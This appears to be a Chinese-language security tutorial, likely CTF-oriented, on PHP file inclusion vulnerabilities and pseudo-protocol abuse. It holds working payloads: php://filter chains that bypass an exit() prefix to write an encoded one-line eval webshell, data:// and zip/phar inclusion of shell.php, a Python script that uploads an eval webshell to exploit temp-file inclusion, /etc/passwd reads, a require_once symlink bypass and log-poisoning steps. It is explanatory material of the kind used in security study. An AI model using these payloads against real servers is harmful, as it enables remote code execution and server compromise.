简介
所谓文件包含漏洞就是指,后端代码使用了一些文件包含的函数,如果用户能控制这些函数的参数,就可以实现任意代码读取,getshell,命令执行等多种攻击手段
文件包含漏洞可以简单的分为本地文件包含和远程文件包含,本质上没有区别,开发人员应该尽可能的避免用户控制文件包含函数的参数,或是进行严格的过滤
php各种伪协议的利用
什么是php的伪协议
PHP伪协议是指PHP支持的一些特殊的协议,它们可以用来访问各种输入/输出流
、内存中的临时文件流以及其他读取写入文件资源的过滤器。PHP支持多种伪协议,包括file://、http://、ftp://、php://、zlib://、data://、glob://、phar://、ssh2://、rar:// 和 ogg://
等。伪协议的安全问题
伪协议通常配合文件包含漏洞一起利用。文件包含的函数有include()
,include_once()
,require()
,require_once()
等等.文件包含本身存在的问题是,无论包含的是什么后缀的文件,都会被当成php文件解析,这在文件上传中已经有利用过,如果我们能控制文件包含函数的参数,配合伪协议,能实现更多攻击手段可以利用的伪协议
下面介绍六种可能会导致安全问题的伪协议1
2
3
4
5
6php://filter
php://input
file://
data://
zip://
phar://可能导致文件包含的函数
1
2
3
4
5
6include和require函数
include和include_once
highlight_file()和show_source()
readfile和file_get_contents和file
file_put_contents
fopen使用PHP伪协议可能会导致安全风险,因此应谨慎使用。为了防止潜在的安全威胁,可以将
allow_url_include
配置选项设置为off
,这样就限制无法包含远程文件了,需要注意的是,从PHP5.2
开始,allow_url_include默认为Off。allow_url_fopen
是一个PHP配置选项,它控制PHP是否可以使用文件函数(如fopen,file_get_contents和include 来访问URL对象(如HTTP和FTP资源)。allow_url_fopen默认都是on。
php://filter
php://filter是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,作用是作为一个“中间流”来处理其他流。简单来说,就是作为一个中间的代理,将读入或者写入的数据按照规定参数进行过滤或处理后输出
第四点告诉了我们其实read
和write
是可以省略的
我们可以通过不同参数对读入写入的数据进行不同的处理,这里介绍几个可能导致危险的参数
convert.base64-encode
作用是对数据流进行base64
编码,如果不对数据进行编码的话,那所包含的文件就会被当成代码执行,不会输出结果,但编码后,就可以对任意文件进行读取,可以通过这个方式读取源码,然后进一步白盒审计
payload:php://filter/read=convert.base64-encode/resource=index.php
convert.base64-decode
作用是对数据流base64
解码,利用这个过滤器,可以实现对死亡exit的绕过
死亡exit指的是在进行写入PHP文件操作时,执行了类似以下函数file_put_contents($content, '<?php exit();' . $content);
这样一来无论我们想要写入什么内容,都会在开头被拼接插上exit()
,导致强行终止
为什么使用base64解码可以绕过呢,base64只能识别64个可打印字符(大写字母,小写字母,数字,加号(+)和斜杠(/)),遇到其他不属于base64字符集的字符时,会跳过这些字符,而不是停止解码
例如被插入了<?php exit()?>
,解码只能识别其中的phpexit
,其他会被跳过
因为base64解码是四个字符为一组进行解码,所以我们只需要将前面无用的内容凑出四的倍数,比如phpexito
再将已经编码好的一句话木马写在后面,这样进行解码的时候就会将前面的死亡exit绕过,同时解码一句话木马
pyload:txt=QPD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B&filename=php://filter/write=convert.base64-decode/resource=shell.php
string.strip_tags
用来处理掉读入的所有标签,例如XML,HTML注释和PHP标签也会被去除。(PHP4, PHP5, PHP7)(自PHP7.3.0起已弃用此功能。)
由于<?php exit; ?>
,实际上这是一个XML标签,所以我们可以通过string.strip_tags过滤器将这个死亡exit去除,但是我们要写入的一句话木马也会被去除,所以我们可以先将一句话木马进行编码,利用过滤器可以叠加的特性,先去除死亡exit,再将一句话木马还原
payload:php://filter/string.strip_tags|convert.base64-decode/resource=shell.php
php://input 伪协议
条件
1 | allow_url_fopen: on/off |
php://input是一个可以访问请求的原始数据的只读流。它可以读取POST请求的参数
简单来说,它与使用$_POST变量来获取POST参数类似,但是php://input提供了更多的灵活性。
例如使用eval()函数来执行从php://input获取的数据,就可以导致任意代码执行
1 |
|
在上面的代码中,攻击者可以使用如下 URL 来执行恶意代码:http://www.example.com/index.php?file=php://input
当用户访问上面的 URL 时,服务器会读取请求正文中的数据,并将其作为PHP代码执行。因此,攻击者可以在请求正文中发送恶意代码,从而在服务器上执行任意命令。
file:// 伪协议
用于访问本地文件系统,允许攻击者读取本地文件系统中的文件。这个伪协议通常用于读取敏感文件,例如配置文件或数据库凭据。需要注意的是,file://
后面必须跟着是本地的绝对路径,不允许是相对路径,或是远程文件
data:// 伪协议
条件
1 | allow_url_fopen: on |
data://伪协议是数据流封装器,传递相应格式的数据data://
伪协议的语法如下:data:[<mediatype>][;base64],<data>
如果使用include()或require()函数来包含从用户输入中获取的data://
, 通常可以用来执行PHP代码。
payload:?file=data://text/plain,<?php%20phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
zip:// 伪协议
zip://
伪协议属于压缩流,可以访问压缩文件中的子文件(相同的类型的还有zlib://
和bzip2://
)
语法 zip:// [压缩文件绝对路径] # [压缩文件内的子文件名]
例如 有一个myzip.zip
的压缩文件,其中包含一个名为myfile.txt
的文件,可以使用以下语法访问该文件:zip://myzip.zip#myfile.txt
(要是在URL中#
要写成%23
)
此外这个伪协议也可以配合文件上传漏洞使用,如果攻击者能够上传一个包含恶意PHP代码的zip文件,并且能够控制包含函数的参数,那么他们就可以使用zip://伪协议来执行恶意代码。
payload?file=zip://evil.zip#shell.php
注意 这个伪协议对后缀不敏感,所以可以将先将文件压缩为zip,再将后缀改成jpg,然后?file=zip://evil.jpg#shell.php
phar:// 伪协议
phar://
伪协议和zip://
伪协议类似,phar本身就是php中压缩文件的一种形式,所以可以通过phar://访问zip压缩文件中的子文件(注:php版本大于等于5.3.0,压缩包只能是zip协议压缩)
语法 phar:// [压缩文件绝对路径] / [压缩文件内的子文件名]
payload?file=phar://evil.zip/shell.php
更重要的是,phar://伪协议可以配合反序列化漏洞,用伪协议配合一些危险函数可以触发phar文件中的元数据的反序列化phar反序列化漏洞
临时文件包含
1 | ?file=php://filter/string.strip_tags/resource=/etc/passwd |
1 | php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA |
- 什么是临时文件
临时文件是计算机系统在执行某些操作时创建的文件,用于存储临时数据。这些文件通常在操作完成后被删除,但有时它们可能会遗留在系统中。
一般认为,上传文件需要对应的功能点,但实际上,无论是否有文件上传的功能点,只要HTTP请求中存在文件,那么就会被保存为临时文件,当前HTTP请求处理完成后,垃圾回收机制会自动删除临时文件。 - 怎么利用
临时文件的存储位置取决于操作系统和应用程序。在Windows操作系统中,临时文件通常存储在C:\Windows\Temp
和C:\Users\[用户名]\AppData\Local\Temp
目录下。在Linux和macOS操作系统中,临时文件通常存储在/tmp
目录下,如果我们能知道文件最后保存的名字,就可以配合文件包含功能,上传我们想要的代码.
php7 segment fault特性:如果我们向后端发送大量文件,就会导致php崩溃,这时最后发送的文件就会被保留在临时文件中,我们利用文件包含漏洞包含这个临时文件,就可以实现这个文件的代码
payload:?file=php://filter/string.strip_tags/resource=/etc/passwd
python脚本1
2
3
4
5
6
7
8
9import requests as res
from io import BytesIO
url="具有文件包含漏洞的网址?file=php://filter/string.strip_tags/resource=/etc/passwd"
phpfile="<?php @eval($_POST['cmd']); ?>" #phpfile对应的就是上传的文件的内容
filedata={
"file":phpfile
}
bak=res.post(url=url,files=filedata)
print(bak.text) #最后输出网站奔溃,说明临时文件保存成功
session文件包含
Session 文件包含漏洞是一种利用条件竞争漏洞的攻击方法。它利用了服务器在处理文件上传时,可能会执行恶意代码的漏洞。攻击者可以通过控制 session 文件中的内容,传入恶意代码,然后通过文件包含漏洞来执行恶意代码。为了成功利用这个漏洞,需要知道服务器存储session文件的存储位置
和文件名格式
。
与session文件包含有关的配置,以及默认情况
1 | session.save_path: |
放一个别人写的多线程python脚本,原文连接
1 | import requests |
require_once软连接绕过
require_once()
函数与require()
函数功能类似,但所包含的信息只执行一次,使用这个函数可以避免相同的文件被包含多次,但是如果我们需要利用文件包含漏洞来读取源码时,如果关键文件已经被包含过了,就要想办法绕过
贴一个大佬讲解原理
说实话没怎么看懂……简单来说
PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含
payload:/proc/self/root
这个代表的是根目录/proc/self/root/proc/self/root
这个代表的还是根目录
加上很多很多的软连接,就可以绕过require_once
,这时候还在根目录,再加上/var/www/html/flag.php
许多基于 PHP 的网站都将其文件存储在 /var/www/html 目录下。这是一个常用的位置
日志注入
1 | apache服务器日志存放文件位置:/var/log/apache/access.log |
日志包含是属于本地文件包含,如果可以控制参数包含日志文件的话,且服务器有对应漏洞,就会产生一定的回显,可以利用这个进行命令注入(一句话木马或是直接写入命令)
apache会存放我们的url参数在访问时回显,这使得我们可以在url
后进行命令的注入。
nginx可以看到回显的是ua报文头,同理,我们可以在ua头
进行命令的注入